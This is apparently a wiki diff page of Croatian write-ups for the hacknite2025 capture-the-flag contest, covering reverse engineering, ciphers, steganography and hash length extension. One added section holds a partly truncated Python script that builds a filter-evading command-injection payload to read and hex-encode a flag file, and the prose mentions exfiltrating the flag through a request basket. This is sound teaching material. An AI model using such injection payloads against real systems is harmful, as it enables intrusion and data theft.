hacknite2025
Differences
This shows you the differences between two versions of the page.
| hacknite2025 [2025/11/20 18:42] – mbunic | hacknite2025 [2025/12/01 11:40] (current) – external edit 127.0.0.1 | ||
|---|---|---|---|
| Line 447: | Line 447: | ||
| - | Ovaj program će ispisati adresu na koju s pomoću | + | Ovaj program će ispisati adresu na koju s pomoću |
| < | < | ||
| Line 593: | Line 593: | ||
| - | Kako bi se pronašao flag, može se samo ova hardkodirana vrijednost dešifrirati s RC4 algoritmom i ključem AWAVAUATSH. Ovo se može napraviti i alatom [[https:// | + | Kako bi se pronašao flag, može se samo ova hardkodirana vrijednost dešifrirati s RC4 algoritmom i ključem AWAVAUATSH. Ovo se može napraviti i alatom [[https:// |
| - | {{ hacknite2025: | + | {{ hacknite2025: |
| Line 617: | Line 617: | ||
| - | Analizom koda vidi se da program pokušava otvoriti datoteku **" | + | Analizom koda vidi se da program pokušava otvoriti datoteku **" |
| Line 909: | Line 909: | ||
| </ | </ | ||
| - | Samo računa pomak na status baru i prikazuje ga, ali na vrlo neefikasan i spor način. Uzevši u obzir da se ovo izvršava u petlji s 10368001 ponavljanja, | + | Samo računa pomak na status baru i prikazuje ga, ali na vrlo neefikasan i spor način. Uzevši u obzir da se ovo izvršava u petlji s 10368001 ponavljanja, |
| < | < | ||
| Line 928: | Line 928: | ||
| - | Ovaj se kod može izvršiti u Pythonu i nakon što završi s računanjem, | + | Ovaj se kod može izvršiti u Pythonu i nakon što završi s računanjem, |
| ====Poligloti==== | ====Poligloti==== | ||
| Line 963: | Line 963: | ||
| - | Zato što izvršio dio datoteke nije stripped, reverzno inženjerstvo s pomoću | + | Zato što izvršni dio datoteke nije "stripped", reverzno inženjerstvo s alatom |
| Line 1163: | Line 1163: | ||
| - | Pregledom Python koda u challenge.py datoteci, vidi se da je cijeli kod jedna duga obfuscirana linija koda. Ne koristi se uobičajena Python obfuskacija koju online deobfuskatori mogu pojednostaviti, | + | Pregledom Python koda u challenge.py datoteci, vidi se da je cijeli kod jedna duga obfuscirana linija koda. Ne koristi se uobičajena Python obfuskacija koju online deobfuskatori mogu pojednostaviti, |
| Line 1488: | Line 1488: | ||
| Kod za pronalazak skrivenog teksta u slici nije potrebno cijeli pisati, nego se može iskoristiti odgovarajući kod s navedenog GitHub projekta. | Kod za pronalazak skrivenog teksta u slici nije potrebno cijeli pisati, nego se može iskoristiti odgovarajući kod s navedenog GitHub projekta. | ||
| - | Program pronalazi najčešću boju u slici, prema broju piksela koji imaju te iste R, G, B vrijednosti, | + | Program pronalazi najčešću boju u slici, prema broju piksela koji imaju te iste R, G, B vrijednosti, |
| Line 1656: | Line 1656: | ||
| Kod generira 49 nasumičnih 30-znamenkastih heksadecimalnih brojeva (charset: 0–9 i a–f ASCII vrijednosti). | Kod generira 49 nasumičnih 30-znamenkastih heksadecimalnih brojeva (charset: 0–9 i a–f ASCII vrijednosti). | ||
| - | Sadržaj datoteke flag.txt stavlja u jednu liniju i nasumično dodaje padding s lijeve i desne strane u istom charsetu, dok linija ne postane | + | Sadržaj datoteke flag.txt stavlja u jednu liniju i nasumično dodaje padding s lijeve i desne strane u istom charsetu, dok linija ne postane dužine 30, kao i ostale linije. |
| Nakon toga su linije izmiješane i ciklično enkriptirane XOR-om s nasumično generiranim ključem dužine između 9 i 23 (ali dužina ključa nije djeljiva s 5). Ako je ključ dužine 22, u prvoj liniji će se koristiti cijeli ključ jednom i onda opet prva polovica ključa do 9. bajta, pa će sljedeća linija početi s 9. bajtom ključa, itd. | Nakon toga su linije izmiješane i ciklično enkriptirane XOR-om s nasumično generiranim ključem dužine između 9 i 23 (ali dužina ključa nije djeljiva s 5). Ako je ključ dužine 22, u prvoj liniji će se koristiti cijeli ključ jednom i onda opet prva polovica ključa do 9. bajta, pa će sljedeća linija početi s 9. bajtom ključa, itd. | ||
| Line 1826: | Line 1826: | ||
| </ | </ | ||
| - | Gdje su X i Y konstante u programu, koje su iste za svije riječi. | + | Gdje su X i Y konstante u programu, koje su iste za sve riječi. |
| Line 1840: | Line 1840: | ||
| Pri pronalasku korištene konfiguracije pomaka po riječi, što je konfiguracija bliža korištenoj, | Pri pronalasku korištene konfiguracije pomaka po riječi, što je konfiguracija bliža korištenoj, | ||
| - | X i Y su nasumični | + | X i Y su nasumični |
| Broj mogućih kombinacija je time: | Broj mogućih kombinacija je time: | ||
| Line 2908: | Line 2908: | ||
| - | Alat za generiranje produljenog sažetka koji se koristi u ovom rješenju je [[https:// | + | Alat za generiranje produljenog sažetka koji se koristi u ovom rješenju je [[https:// |
| Line 3246: | Line 3246: | ||
| - | Rezultat | + | Rezultat |
| < | < | ||
| Line 3563: | Line 3563: | ||
| </ | </ | ||
| - | Ovo čini zadatak " | + | To čini zadatak " |
| Line 3825: | Line 3825: | ||
| Zadatak ima filter na ulazu, koji zabranjuje određene unose, te provjeru rezultata izvršene komande, gdje rezultat izvršavanja mora odgovarati SHA256 regexu. | Zadatak ima filter na ulazu, koji zabranjuje određene unose, te provjeru rezultata izvršene komande, gdje rezultat izvršavanja mora odgovarati SHA256 regexu. | ||
| - | Zadatak se može riješiti na više načina, nakon što se pronađe način za napraviti command injection koji uspješno prolazi kroz filter, pročitana flag datoteka se ili može eksfiltrirati preko request basketa, ili se može mapirati na hex charset i paddat | + | Zadatak se može riješiti na više načina, nakon što se pronađe način za napraviti command injection koji uspješno prolazi kroz filter, pročitana flag datoteka se ili može eksfiltrirati preko request basketa, ili se može mapirati na hex charset i dopunit |
| - | Također se zadatak može riješiti i crackanjem vraćenog | + | Također se zadatak može riješiti i crackanjem vraćenog |
| - | Skripta koja rješava zadatak | + | |
| + | Skripta koja rješava zadatak | ||
| + | < | ||
| + | import requests | ||
| + | import binascii | ||
| + | |||
| + | # CONFIGURATION | ||
| + | URL = " | ||
| + | |||
| + | def decode_response(hex_string): | ||
| + | try: | ||
| + | decoded_bytes = binascii.unhexlify(hex_string) | ||
| + | return decoded_bytes.decode(' | ||
| + | except Exception as e: | ||
| + | return f" | ||
| + | |||
| + | def solve(): | ||
| + | print(" | ||
| + | |||
| + | # 1. Generate the number 1 (for 'head -n 1') | ||
| + | # logic: count ' | ||
| + | one_gen = " | ||
| + | |||
| + | # 2. Generate the number 64 (for final truncation) | ||
| + | # logic: 64 ' | ||
| + | a_64 = ' | ||
| + | len_gen = f" | ||
| + | |||
| + | # 3. Locate Python binary without using ' | ||
| + | # 'ls / | ||
| + | # We pipe to 'head -n $one' to ensure we get just one line/ | ||
| + | find_py = " | ||
| + | |||
| + | # 4. Python One-Liner | ||
| + | # Reads stdin, strips whitespace, encodes to hex. | ||
| + | # No digits or blacklisted words used here. | ||
| + | py_cmd = " | ||
| + | |||
| + | # 5. Construct the full pipeline | ||
| + | # head f* -> Read flag | ||
| + | # $py -c ... -> Hex encode it using the found python binary | ||
| + | # tr -d ' | ||
| + | raw_gen = f" | ||
| + | |||
| + | # 6. Padding Logic (same as before) | ||
| + | pad_str = ' | ||
| + | |||
| + | # 7. Combine and Print | ||
| + | cmd_logic = ( | ||
| + | f" | ||
| + | f" | ||
| + | f" | ||
| + | f" | ||
| + | f" | ||
| + | f" | ||
| + | f" | ||
| + | ) | ||
| + | |||
| + | payload = f"' | ||
| + | |||
| + | print(f" | ||
| + | |||
| + | json_data = {" | ||
| + | |||
| + | try: | ||
| + | res = requests.post(URL, | ||
| + | response = res.json() | ||
| + | |||
| + | if response.get(" | ||
| + | returned_hash = response.get(" | ||
| + | print(f" | ||
| + | |||
| + | decoded = decode_response(returned_hash) | ||
| + | print(" | ||
| + | print(f" | ||
| + | print(" | ||
| + | else: | ||
| + | print(f" | ||
| + | |||
| + | except Exception as e: | ||
| + | print(f" | ||
| + | |||
| + | if __name__ == " | ||
| + | solve() | ||
| + | </ | ||
| + | |||
| + | |||
| + | Skripta koja rješava zadatak korištenjem Basha i generiranjem | ||
| < | < | ||
| Line 3916: | Line 4003: | ||
| print(f" | print(f" | ||
| </ | </ | ||
| + | |||
| Line 3995: | Line 4083: | ||
| - | Zapravo je i sadržaj same datoteke napisan unazad, kao što je i ime datoteke. Pitanje je jesu li bajtovi | + | Zapravo je i sadržaj same datoteke napisan unazad, kao što je i ime datoteke. Pitanje je jesu li bajtovi ili bitovi |
| Line 4337: | Line 4425: | ||
| - | U direktoriju ovog korisnika, | + | U direktoriju ovog korisnika, |
| < | < | ||
hacknite2025.1763664123.txt.gz · Last modified: 2025/12/01 11:40 (external edit)